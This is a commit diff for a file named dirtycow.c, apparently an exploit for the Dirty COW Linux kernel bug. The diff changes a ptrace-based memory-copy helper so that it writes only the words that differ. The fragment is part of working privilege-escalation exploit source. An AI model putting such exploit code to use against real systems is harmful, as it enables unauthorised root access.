only change what needs to be changed

timwr · Jan 10, 2021 · d177e97 · d177e97
1 parent 0ac3679
commit d177e97
Showing 1 changed file with 6 additions and 4 deletions.
diff --git a/dirtycow.c b/dirtycow.c
@@ -111,10 +111,12 @@ static int ptrace_memcpy(pid_t pid, void *dest, const void *src, size_t n)
 	s = src;
 
 	while (n >= sizeof(long)) {
-		memcpy(&value, s, sizeof(value));
-		if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {
-			warn("ptrace(PTRACE_POKETEXT)");
-			return -1;
+		if (*((long *) s) != *((long *) d)) {
+			memcpy(&value, s, sizeof(value));
+			if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {
+				warn("ptrace(PTRACE_POKETEXT)");
+				return -1;
+			}
 		}
 
 		n -= sizeof(long);